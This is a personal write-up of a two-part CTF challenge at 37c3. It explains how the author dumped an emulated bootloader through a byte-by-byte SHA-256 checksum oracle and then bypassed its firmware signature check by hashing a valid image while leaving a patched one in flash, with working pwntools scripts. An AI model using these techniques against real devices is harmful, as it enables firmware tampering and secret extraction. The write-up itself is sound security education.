I didn't particularly mean to play CTF at 37c3, but ended up solving both parts of the SEKURBUT challenge for the "open class" team 0xf8ff
, and it was rather fun, so here goes:
You can find the distributed content (for part 2) here. Likewise, you can find the dumped bootloader here (it starts at +0x08
, so rebase appropriately).
Part 1
Part 1's provided material is just the prompt "This weird arcade machine just got delivered to you. It seems broken, but there's a serial port on the back. You connect, and are greeted with a weird shell...", plus a listener service on challenge22.play.potluckctf.com
.
first blush
After connecting, you're greeted by what appears to be a ROM monitor:
$ nc challenge22.play.potluckctf.com 31337
.text 0x00000000 - 0x00002f24
.bss 0x20000120 - 0x20001130
.data 0x20000100 - 0x20000120 (0x00002f30)
SEKURBUT>
Supported commands are reported to be:
commands:
flash - flash firmware
checksum - checksum flash
boot - boot firmware
reset - reboot the machine
flash
transitions to another menu, I guessed enough at it to figure out that\x03
returned to the prior menu. Other opcodes clearly had arguments, so this wasn't the right path (any instances of\x03
immediately after others was ignored)checksum
allows one to sha256 any range (up to0x10000
).Notably while it did require a minimum size of0x20
, it didn't enforce anything beyond that (so0x21
is also a valid size...). More on this later.boot
refused to do anything until flashedreset
did the obvious :)
skipping ahead, sort of
As I really generally don't like doing this sort of thing blindly I moved to part 2 at this point, which added a Saleae Logic capture file containing a previous update session. As promised, this is plain vanilla serial (115200, etc etc). Exporting the Tx channel from to CSV and carving it up a left me with both the application as well as a vague idea of what the flash
menu expected. Here's that snippet:
p = b''
lines = []
with open("ch0.txt") as f:
lines = f.read().split('\n')
for l in lines[1:-1]:
p+=bytes.fromhex(l.split(',')[1][2:])
# trim "flash\n"
p=p[6:]
# trim 01 00 30 00 00 unknown seq
p=p[5:]
ptr = 0
binary = b''
while ptr < len(p):
hdr = p[ptr:ptr+9]
print(hdr.hex())
page = p[ptr+9:ptr+256+1]
binary += page
print(page.hex())
ptr += 256+1
with open('out.bin', 'wb') as f:
f.write(binary)
Making some guesses at the format for the flashing commands, I wrote down that:
0x02 write cmd
0xf8 size
0x00 0x00 ?
0x00 0x00 ?
0x00 0x00 ?
0x00 ?
0x01 (open write) [4 bytes addr]
0x03 is finish
Astute readers will note that the some of the '?' fields are obviously 4 byte aligned...
Realistically, I went and did most of Part 2 here, coming back when I realized the interrupt table had more than 0x20
bytes of repeated data. Remember how I said we'd come back to the fact that checksum
allows unaligned lengths?
"cryptography"
SEKURBUT> checksum 8 20
SHA256(0x00000008 - 0x00000028): 82b92ca70bc7dd07c8f5d9a81416618a5a03c6a4ec455031be65c4a54b5a5395
SEKURBUT> checksum 8 21
SHA256(0x00000008 - 0x00000029): e5c93a81b8e7fd2afacc22da1d0e190df20e92159c4478a565f3fe9a0f6760a4
If we know what data corresponds to the first hash (of 0x08
to 0x20
), it's pretty easy to brute force the extra byte that results in a matching hash for 0x08
to 0x21
! I just need that first known block...
As a reminder, here's what the Cortex M vector table looks like:
offset | vector |
---|---|
+0x00 | initial stack ptr |
+0x04 | reset |
+0x08 | nmi |
+0x0C | hard fault |
+0x10 | reserved |
Assuming the bootrom/monitor/whatever was similar to the application from the Saleae trace, it should just be a repeated sequence of some pointer to the default IRQ handler at everything in at least the reserved section onward, but most likely the only unique values would be at 0 and 4.
I brute forced pointer values from 0
to 0x2f34
(region of .text
in the welcome prompt):
import hashlib
hash_8_20 = '82b92ca70bc7dd07c8f5d9a81416618a5a03c6a4ec455031be65c4a54b5a5395'
ivt=b''
for guess in range(1,0x00002f34+1, 2):
ivt = guess.to_bytes(4, 'little')*8
h = hashlib.sha256()
h.update(ivt)
if h.hexdigest() == hash_8_20:
print("bruted ivt")
print(ivt.hex())
break
That took no time at all, coming back with a reasonable 0x1fbd
for all entires:
$ python crak.py
bruted ivt
bd1f0000bd1f0000bd1f0000bd1f0000bd1f0000bd1f0000bd1f0000bd1f0000
Now with my hands on a known 32 byte chunk, the rest just takes some time:
from pwn import remote,log
img = \
bytearray(b'bd1f0000bd1f0000bd1f0000bd1f0000bd1f0000bd1f0000bd1f0000bd1f0000')
stop = 0x2f34 # later 0x3000
start = 0x28
def brute(know, need):
for guess in range(256):
h = hashlib.sha256()
h.update(know)
h.update(guess.to_bytes(1,'little'))
log.info(h.hexdigest())
if h.hexdigest() == need.decode("ascii"):
print("guessed " +(hex(guess)))
return guess.to_bytes(1,'little')
return b''
# ignoring first entries lol
p = remote("challenge22.play.potluckctf.com", 31337)
p.recvuntil(">")
f = open('wtf2.bin', 'wb')
f.write(img)
for size in range(0x21, stop-start, 1):
p.sendline(b"checksum 0x%x 0x%x"%(8, size))
p.recvuntil(": ")
needed = p.recvuntil("SEKURBUT> ")[:-11]
log.info(needed)
res = brute(img, needed)
if res == b'':
break
f.write(res)
f.flush()
img+=res
Amusingly, the bootloader uses a single vector function entry for everything, dispatching per the relevant source off another table. I never brutedforced out what the initial SP value was. Considering I forgot to account for the definitely-existant UART interrupt, this was a nice design decision :)
After this (sloooowly) completed, I found the flag at 0x00002bb8
: potluck{duMp1n6_th3_b0o7l0ad3r_4_fuN_&_pr0f1t}
Part 2
Provided for part 2 is the same endpoint as in part 1, plus the previously mentioned Saleae Logic trace, with the prompt "The previous owner of the arcade machine still has a trace of the firmware update. Maybe there's a way to run your own firmware?"
playing a game?
The application contained in that update trace is a simple-ish tic-tac-toe game (the computer's logic seemed comprehensive enough to not want to RE fully, and with some basic testing seemed competent enough to avoid any logic/gameplay pitfalls). The computer plays 'O', going second. If 'X' wins, it shares the flag. If 'O' wins, nothing happens. If it's a tie (which it always is!), it helpfully shares the "first part" of the flag ("potluck{
").
The function that shares the flag just copies 32 bytes out of (presumably) emulated MMIO at 0x10001080
- quite out of range of anything we can access with the bootloader's flash
or checksum
commands. Broadly speaking, this is the main use of the application - that and having a valid signed image, which will come into play shortly. Most of Part 2 is reversing/exploiting the bootloader image dumped in Part 1.
reversing the bootloader
After some platform/library initialization, we're dropped into a familiar looking function with no hidden operations:
void main() __noreturn
{
sfrinit();
printf(".text 0x%08x - 0x%08x\n", 0, 0x2f34, ".text 0x%08x - 0x%08x\n");
printf(".bss 0x%08x - 0x%08x\n", 0x20000120, 0x20001130, ".bss 0x%08x - 0x%08x\n");
printf(".data 0x%08x - 0x%08x (0x%08x)\n", 0x20000100, 0x20000120, 0x2f40);
printf("\n");
while (true)
{
printf("SEKURBUT> ");
char var_48[0x40];
getn(&var_48, 0x40);
if (strncmp(&var_48, "flash", 5) == 0)
{
flash();
}
else if (strncmp(&var_48, "checksum", 8) == 0)
{
checksum(&var_48);
}
else if (strcmp(&var_48, "boot") == 0)
{
boot();
}
else if (strcmp(&var_48, "reset") != 0)
{
printf("commands:\n flash - flash fi…");
}
else
{
reset();
}
}
}
Similarly, none of the commands hide any functional secrets....but there's something about flash()
that we should dig into! Most of the fun stuff is in what I named flash_inner
, but the outer function has some important details: namely that it tracks what I've called flashcursor
and shactx
after initializing both per invocation of the flash
menu. It also handles a constant-time check of the hash result against the expected value stored in RAM at bootup. Were this a real chip, I could overwrite that value in flash, let it persist beyond reset, and go from there. That didn't work :(
uint32_t flash()
{
int32_t r0;
int32_t var_ac = r0;
int32_t flashcursor = 0;
void shactx;
sha256_init(&shactx);
hashok = 0;
first_flash_cursor = 0;
int32_t i;
do
{
printf("FLASH> ");
char flashop;
uart_readn(&flashop, 1);
i = flash_inner(((uint32_t)flashop), &flashcursor, &shactx);
} while (i == 0);
void curhash;
sha256_fini(&shactx, &curhash);
uint32_t r0_6 = hashcmp(&curhash, &ramhash);
if (r0_6 == 0)
{
hashok = 1;
}
else
{
printf("Checksum Failure! Can't flash th…");
printf("\n expected: ");
hexdump32byte(0x20000100);
printf("\n actual: ");
hexdump32byte(&curhash);
r0_6 = printf("\n");
}
return r0_6;
}
Curious about what exactly the \x01
opcode was responsible for, I went looking - assuming it was used to start off page erases or something. Not quite, turns out this uses word-aligned flash RW access (sort-of mapping to an NRF chipset, possibly the Qemu Microbit platform?):
int32_t flash_inner(int32_t flashop, int32_t* flashcursor, char* shactx)
{
void* length = nullptr;
char arg[0x4] = 0;
int32_t done;
if (flashop == 3)
{
puts("done.");
done = 1;
}
else
{
if ((flashop > 3 || ((flashop <= 3 && flashop != 1) && flashop != 2)))
{
puts("ERR: Invalid Opcode.");
goto out;
}
if (flashop == 2)
{
uart_readn(&length, 4);
uart_readn(&arg, 4);
if (length <= 0xf8)
{
if (*(uint32_t*)flashcursor < 0x2f34)
{
goto err;
}
if ((*(uint32_t*)flashcursor + length) > 0x10000)
{
goto err;
}
if ((*(uint32_t*)flashcursor + length) < 0x2f34)
{
goto err;
}
if (first_flash_cursor == 0)
{
first_flash_cursor = *(uint32_t*)flashcursor;
}
char flashpage[0xf8];
uart_readn(&flashpage, length);
sha256_update(shactx, &flashpage, length);
flash_write(*(uint32_t*)flashcursor, &flashpage, length);
*(uint32_t*)flashcursor = (*(uint32_t*)flashcursor + length);
*(uint32_t*)flashcursor = (*(uint32_t*)flashcursor + arg);
goto out;
}
err:
printf("ERR: Out of range: %p\n", *(uint32_t*)flashcursor);
done = 0;
}
if (flashop == 1) // ahh, just moves cursor..
{
uart_readn(&arg, 4);
*(uint32_t*)flashcursor = (*(uint32_t*)flashcursor + arg);
out:
puts("OK.");
done = 0;
}
}
return done;
}
There is nothing really new here - the fields I missed in \x02
are both 4 bytes of size (with a max of 0xf8
, lol?) and an option to provide a delta to the persistent flash cursor for the next write. The \x01
opcode is just that functionality.
It's not actually necessary to use \x01
at all, since a 0-length \x02
opcode is effectively the same with the slight difference that \x01
wont cause first_flash_cursor
to be set (used to find the IVT of a loaded application).
Anyway, spot the issue? sha256_update
is passed data only according to the order it is submitted, but not at all tied to where it's being written. In fact, what is actually written is never checked! We just hash the update in-flight, and check that!
exploiting it
Initially I spent a bit of time trying to re-order the tic-tac-toe binary blocks by writing up until the flag function, skipping backward with \x01
to a chunk of code executed up-graph, and then seeking back to after the flag function to continue. I'm not sure why, but I never got this to work...but I did mess with it for an embarrassing amount of time (and I'll blame the lack of sleep for whatever the issue was)!
What ended up immediately working was pretty obvious: I patched a version of the signed tic-tac-toe binary to print the flag when 'X' has not won (just inverting a jump). Next, I wrote this to flash - obviously this failed the hash comparison and couldn't be booted, but it remained in memory. In the same connection, I started a new flash
session. Since the invalid image is already in place, I just wrote this valid image to 0x5000
, updating the flash pointer to overwrite the previous chunk each time. This left the patched image intact, but fed the entire valid image through sha256_update
:)
if shitty ctf code makes more sense:
def flash_real(p, binary):
p.send(b'flash\n')
p.recvuntil(b">")
# erase or start or sthg
p.send(b'\x01\x00\x30\x00\x00')
p.recvuntil(b">")
ptr = 0
blksize = 0xf8
while ptr < len(binary)-blksize:
p.send(b'\x02'+blksize.to_bytes()+b'\x00'*7)
p.send(binary[ptr:ptr+blksize])
ptr+=blksize
p.recvuntil(">")
rem = len(binary)-ptr-1
log.info("rem: %x"%(rem))
p.send(b'\x02'+rem.to_bytes()+b'\x00'*7)
# -1 bc there's 0x03 pkt there
p.send(binary[ptr:-1])
p.recvuntil(">")
p.send(b'\x03')
p.recvuntil(">")
def flash_lol(p, binary):
p.send(b'flash\n')
p.recvuntil(b">")
ptr = 0
blksize = 0xf8
# start @ "0x3000"
p.send(b'\x01\x00\x30\x00\x00')
p.send(b'\x02'+blksize.to_bytes()+b'\x00'*7)
p.send(binary[ptr:ptr+blksize])
ptr+=blksize
# move to 0x5000
p.send(b'\x01\x00\x20\x00\x00')
while ptr < len(binary)-blksize:
p.send(b'\x02'+blksize.to_bytes()+b'\x00'*7)
p.send(binary[ptr:ptr+blksize])
ptr+=blksize
p.recvuntil(">")
# return to beginngin
p.send(b'\x01\x08\xff\xff\xff')
p.recvuntil(">")
rem = len(binary)-ptr-1
log.info("rem: %x"%(rem))
p.send(b'\x02'+rem.to_bytes()+b'\x00'*7)
# -1 bc there's 0x03 pkt there
p.send(binary[ptr:-1])
p.recvuntil(">")
p.send(b'\x03')
p.recvuntil(">")
with open('hax.bin', 'rb') as f:
flash_real(p, f.read())
with open("out.bin", 'rb') as f:
flash_lol(p, f.read())
All that was left was to start a game and look for the flag:
potluck{s3curb007_much_h4rD}
Other bugs?
- I'm not sure why, but the bootrom/loader allows an update to overwrite as low as
0x2f34
. This contains some data structures (possible from the NRF boot flow? They contain the0x600db007
signature as well as the IVT actively in the boot stage) as well as the allowed hash of the next stage. Unfortunately this hash is loaded pretty immediately after reset to RAM during.data
init, and the organizers added a note that "The "reset" function will also reset the flash memory". - The UART buffering scheme is very buggy. While
head-tail
is computed to check for overrun, it isn't complete. Further,head
andtail
aren't reset and just monotonically increase. You'd need to pay attention to the overwrites as the pointers themselves are the first data right after the buffer, but otherwise this seems straightfoward (just not as easy as my solution :))- Aside: I actually tried this before solving either part, and I'm pretty sure the amount of traffic got my hotel IP blocked from the infra, so perhaps not the intended solution?